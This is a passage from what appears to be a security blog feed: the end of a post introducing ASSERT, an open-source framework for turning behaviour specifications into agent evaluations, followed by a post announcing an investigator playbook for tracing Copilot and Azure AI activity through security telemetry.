The full example lives in: examples/travel_planner_langgraph/ 

The evaluation configuration defines six failure-mode categories across two themes: 

• Quality: wrong or skipped tool use; fabricated flight, hotel, or price details; budget constraint violations
• Safety: stereotyping; prompt injection from tool output; sycophantic agreement with unsafe or invalid itineraries

To run the evaluation: Copy

assert-eval run --config eval_config.yaml # To inspect the results Assert-eval results status \ --results-dir "$PWD/artifacts/results" \ travel-planner-langgraph-v1 \ demo-1

ASSERT produces a set of artifacts under the run directory: 

• taxonomy.json: the concept spec produced by systematization
• test_set.jsonl: the stratified prompts and multi-turn scenarios
• inference_set.jsonl: per-scenario traces with tool calls and intermediate state
• scores.jsonl: per-trace verdicts with rationale and policy citation
• metrics.json: the aggregate roll-up

Example results:

The dimensions are separated rather than rolled into a single number: The same five scenarios produce 40% over-refusal and 60% policy violation, and those aren’t the same failures. A team optimizing on the aggregate would miss that the agent is failing in both directions at once. The results can be further inspected in a UI widget as shown below:

Practical considerations 

In practice, this framework works best when the behavior definition is relatively narrow and the relevant constraints are clearly specified. Richer descriptions of tools, policies, and boundaries usually lead to more precise scenarios. It’s also worth treating aggregate scores cautiously. In many cases, the most useful output isn’t the summary metric but the collection of failures and traces that shows where the specification, the system, or the evaluation itself needs refinement. ASSERT doesn’t remove the need for judgment in evaluation design. Vague specifications still produce vague scenarios. Synthetic interactions can miss failures that only appear in production settings. And model-based judges can be unreliable, especially when the policy distinction is subtle or highly domain-specific. More broadly, a specification-driven evaluation shouldn’t be treated as a compliance certification or a substitute for human review, telemetry, or domain expertise. It’s better understood as a way to make evaluation faster, more explicit, and easier to iterate on. 

Get started 

ASSERT is open-source under the MIT license and available today. 

• Repository: https://github.com/responsibleai/ASSERT
• Project site: responsibleai.github.io/ASSERT
• Worked example: travel-planning agent

If you build evals and run them as part of your release process, we’d like to hear what works, what doesn’t, and what behaviors you think are hardest to specify. ASSERT is at its most useful when behavior specifications are written down and treated as first-class inputs to evaluation. We’re releasing it in that spirit.

Acknowledgements 

PM team: Mehrnoosh Sameki, Minsoo Thigpen, Chang Liu, Abby Palia, Hanna Kim 

Science: Riccardo Fogliato, Emily Sheng, Alex Dow, Meera Chander, Alex Chouldechova, Sharman Tan, Xiawei Wang, Ahmed Magooda, Mayank Gupta, Jean Garcia-Gathright, Chad Atalla, Dan Vann, Hanna Wallach, Hannah Washington, Meredith Rodden, Nadine Frey, Melissa Kirkwood, Nick Pangakis, Ali Azad, Ahmed Elghory Ghoneim, Shushan Arakleyan 

Eng team: Mohamed Elmergawi, Jake Present, Aaron Aspinwall, Yeming Tang 

Design: Sooyeon Hwang, Becky Haruyama 

Special thanks: Roni Burd, Mohammad A, Heba Elfardy, Sandeep Atluri, Sydney Lister, Ram Shankar Siva Kumar, Andrew Gully 

The post Turn specs into evals for any agent with ASSERT appeared first on Microsoft Security Blog.

AI systems are now part of everyday work. Investigators need a consistent way to reconstruct what happened within them. 

Security teams are already investigating activity involving Microsoft 365 Copilot and Azure AI services—from prompt injection attempts to unexpected data access. Those signals are observable. Without structure, they do not form a coherent account of what occurred. 

AI interactions generate telemetry across Microsoft Purview, Defender, and Sentinel. That telemetry captures who initiated an interaction, when it occurred, and which resources were involved. It provides the foundation for reconstructing AI activity in enterprise environments.  It’s turning those signals into an investigation. 

To help address that challenge, we’ve published a new investigator playbook for Microsoft 365 Copilot and Azure AI services. The playbook provides a structured approach for investigating AI-related activity using the telemetry already available across Microsoft security products. 

The methodology follows a scope–context–signal sequence. Investigations begin by identifying who interacted with AI systems, when the activity occurred, and which services were involved. From there, investigators expand into resource context: what the system accessed, what data may have been exposed, and how that activity aligns with expected behavior. Detection signals, including prompt injection attempts, anomalous usage patterns, or credential exposure alerts, are then evaluated within that broader chain of activity. 

AI telemetry is constructed metadata-first, providing identity, time, and resource context across interactions. That structure is what moves investigations from isolated signals to a coherent account of what occurred. When analyzed together, those elements allow investigators to establish what happened, understand the impact, and determine whether activity reflects normal usage, policy violations, or indicators of compromise. 

The playbook operationalizes this approach across Microsoft 365 Copilot and Azure AI services. It brings together the required configuration, queries, and detection patterns into a single working model — covering schema references, KQL queries, and detection logic — enabling investigators to follow AI activity across tools with fewer ad hoc pivots. It also extends that model to agent-based systems, where the investigative picture expands: which agents are deployed, how they are configured, what data they are authorized to access, and whether that authorization was used as expected. 

The outcome is practical. Response teams can move from isolated signals to a reconstructed account of observed activity: scoping AI usage, understanding what data was accessed during interactions, and assessing whether observed behavior is consistent with normal usage, policy violations, or indicators of active threat conditions across Microsoft security services.  

As AI becomes part of everyday business workflows, response teams need the same investigative rigor they apply to endpoints, identities, and cloud infrastructure. The ability to determine what happened, what data was involved, and whether activity was authorized is quickly becoming a core incident response capability. 

The playbook gives you the tools to answer it. Download it here: https://aka.ms/AIIRplaybook 

The post Reconstructing AI activity in investigations  appeared first on Microsoft Security Blog.